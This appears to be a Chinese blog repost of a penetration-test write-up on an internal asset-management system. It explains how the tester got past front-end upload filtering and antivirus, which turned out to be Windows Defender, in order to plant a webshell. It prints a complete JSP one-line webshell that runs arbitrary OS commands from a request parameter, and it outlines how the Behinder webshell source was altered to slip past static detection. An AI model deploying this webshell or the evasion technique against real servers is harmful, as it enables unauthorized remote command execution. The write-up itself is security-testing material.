本文主要是介绍某资产管理系统打点过程中的免杀经历,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!
上周,被扔过来单位内部的一个链接,让渗透一下,本以为三下五除二很快就能测完,没想到在对抗杀软时费了一番功夫,再加上杂七杂八的事儿,经过了一个星期才测完(# ̄~ ̄#)。打开链接,见到一个熟悉的登录框,是一个资产管理系统。
在进行了一番端口目录、认证机制、会话管理、授权访问等方面的检查后发现了一些问题,这里不做赘述,此次重点想写写拿shell的经历。进入主页面,没用多长时间就找到了上传点,而且有两个。一个是头像上传,涉及裁剪、压缩等操作。
另一个是工具上传,允许直接上传文件(包)。两全伤害取其轻,就用这个。
创建个txt,随便加点内容进去,burp抓包看看这个功能的情况。
上传成功,并且有回显路径,有戏。
访问一下文件地址也展现出来了,直接上马子试试。
被阻断,不允许上传.java、.class、.jsp、.html等类型文件。一看就是之前经历过渗透测试,吃过亏(事后查了一下这家软件公司,做了不少企业的资产管理系统,是个成熟的项目,而且公司在2023年中已经上市,尽管在北交所,也必然会遵循一定的代码规范)。刚才上传用的是冰蝎4,查看burp的history中并无请求出现,证明是前端验证。尝试绕过前端验证,直接将冰蝎源码上传。
成功绕过,并且返回了文件路径……这就要完活儿了?!似乎有些轻松。访问一下:
404,文件没了。紧接着又拿哥斯拉试了一遍,同样是返回了路径,同样是404……猜测可能有杀软,落地文件被删除。接下来要做免杀了,使用在线工具对webshell进行变异,上传后一路404,更加确定杀软的存在。并且这款杀软的静态特征检测库还很全,如果仅仅混淆边边角角的代码是无法过它的,猜测它是能够匹配关键代码、关键API。
变异的厉害了还抛出了500,破坏了webshell自身的逻辑,甚至是添加了错误代码。看来省事儿的方式效果不理想,想要落地还是得自己动手,ε=(´ο`*)))唉。
最后使用了一个加长版的一句话木马才成功落地,请求如下:
访问文件路径并带上whoami。
直接就是administrator管理员。此马儿与传统的一句话jsp一样,也是用Runtime来执行命令,只不过前面加了一个参数pwd固定值判断,后面使用System.out来print一个String,并且这个String是命令执行的结果。
<% if("023".equals(request.getParameter("pwd"))){ java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream(); int a = -1; byte[] b = new byte[2048]; out.print("<pre>"); while((a=in.read(b))!=-1){ out.println(new String(b)); } out.print("</pre>"); } %>
但是蚁剑不给力,连接时报500。尝试了多种设置均以失败告终,哪位大神研究过蚁剑还请指导一下,Thanks♪(・ω・)ノ。
测试到这个地步对于这个活儿来说其实可以交差了,已经拿到了权限,但如果想进行横向的话是无法继续利用的,所以还是要做免杀。掏出珍藏多年的idea(鄙视自己一下ε(┬┬﹏┬┬)3),打开冰蝎,调好格式,尝试做混淆。鉴于前面踩过坑,已经了解到该杀软能够检测到关键代码,所以直接分析源码。作为webshell,回显是必须的功能,而对于冰蝎来说,response数据来自于request.getReader().readLine()。因此直接对第18行动手,先用注释尝试一下,随便填加一些字符。
发送请求:
成功。访问一下回显路径:
空白页,没有报404,证明文件确实落地了,没有被杀掉。上冰蝎:
连接成功!免杀完毕。这次是真的可以交差了。进来后第一件事儿就是看看到底是哪个杀软在作祟:
MsMpEng.exe,微软的Windows Defender。
好奇心驱使,又拿了一个原版的冰蝎本地验证一下,果不其然,被秒杀(图中右上角的文件):
总结,这次拿shell的过程主要是在对抗杀软上耗费了很多时间,其次是在寻找杀软的进程上。因为服务器上一般都有专业杀毒软件或者HIDS防护,没有想到是Windows自己的Defender。虽然在写的时候只用一句话一张图带过,但在搜索进程的时候还特地整理了一份常见杀软的表格,挨个儿比对才有了最后那张图。
这篇关于某资产管理系统打点过程中的免杀经历的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!